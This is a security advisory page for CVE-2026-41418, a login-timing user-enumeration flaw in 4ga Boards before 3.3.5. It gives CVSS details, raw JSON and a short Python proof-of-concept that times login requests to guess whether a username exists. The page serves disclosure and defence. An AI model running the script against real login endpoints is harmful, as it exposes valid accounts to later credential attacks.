Security Vulnerability Report
中文
CVE-2026-41418 CVSS 5.3 MEDIUM

CVE-2026-41418

Published: 2026-04-24 19:17:13
Last Modified: 2026-04-27 19:10:46

Description

4ga Boards is a boards system for realtime project management. Prior to 3.3.5, 4ga Boards is vulnerable to user enumeration via a timing side-channel in the login endpoint (POST /api/access-tokens). When an invalid username/email is provided, the server responds immediately (~17ms average). When a valid username/email is provided with an incorrect password, the server first performs a bcrypt.compareSync() operation (~74ms average) before responding. This ~4.4× timing difference is trivially detectable even over a network — a single request suffices. This vulnerability is fixed in 3.3.5.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

4ga Boards < 3.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # PoC for User Enumeration via Timing Analysis in 4ga Boards target_url = "http://target-domain/api/access-tokens" username_to_check = "admin" def check_user(username): payload = { "username": username, "password": "incorrect_password_placeholder" } start_time = time.time() # Send POST request to login endpoint response = requests.post(target_url, data=payload) end_time = time.time() duration = (end_time - start_time) * 1000 # Convert to milliseconds print(f"Response time for '{username}': {duration:.2f}ms") # Threshold based on vulnerability description: ~17ms (invalid) vs ~74ms (valid) if duration > 50: print(f"[+] User '{username}' likely exists (High latency due to bcrypt).") else: print(f"[-] User '{username}' likely does not exist (Low latency).") check_user(username_to_check)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41418", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:13.457", "lastModified": "2026-04-27T19:10:45.587", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "4ga Boards is a boards system for realtime project management. Prior to 3.3.5, 4ga Boards is vulnerable to user enumeration via a timing side-channel in the login endpoint (POST /api/access-tokens). When an invalid username/email is provided, the server responds immediately (~17ms average). When a valid username/email is provided with an incorrect password, the server first performs a bcrypt.compareSync() operation (~74ms average) before responding. This ~4.4× timing difference is trivially detectable even over a network — a single request suffices. This vulnerability is fixed in 3.3.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/RARgames/4gaBoards/security/advisories/GHSA-8mj9-p99h-jhxp", "source": "[email protected]"}]}}